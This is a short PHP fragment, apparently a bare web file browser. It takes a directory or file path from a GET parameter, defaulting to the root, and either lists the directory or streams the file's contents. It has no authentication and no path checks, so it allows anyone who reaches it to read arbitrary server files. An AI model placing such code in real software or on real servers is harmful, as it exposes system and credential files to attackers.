$curdir=$HTTP_GET_VARS["curdir"];
if ($curdir=="") {
$curdir="/";
}
$what = filetype( "$curdir" );
if ( $what == "file" ) {
$FILE = fopen ("$curdir","r");
// while ( $text = readfile( $FILE ) ) {
// echo "$text";
// }
fpassthru($FILE);
flush();
} elseif ( $what == "dir" ) {
$DIR = opendir("$curdir");
while ( $text = readdir( $DIR ) ) {
if (($text!=".")&&($text!="..")) {
$what = filetype( "$curdir".$text );
if ( $what == "file" ) {
echo "$text ";
echo "", filesize( "$curdir".$text );
echo " byte(s)
";
} elseif ( $what == "dir" ) {
echo "[ $text ]
";
}
}
}
}
?>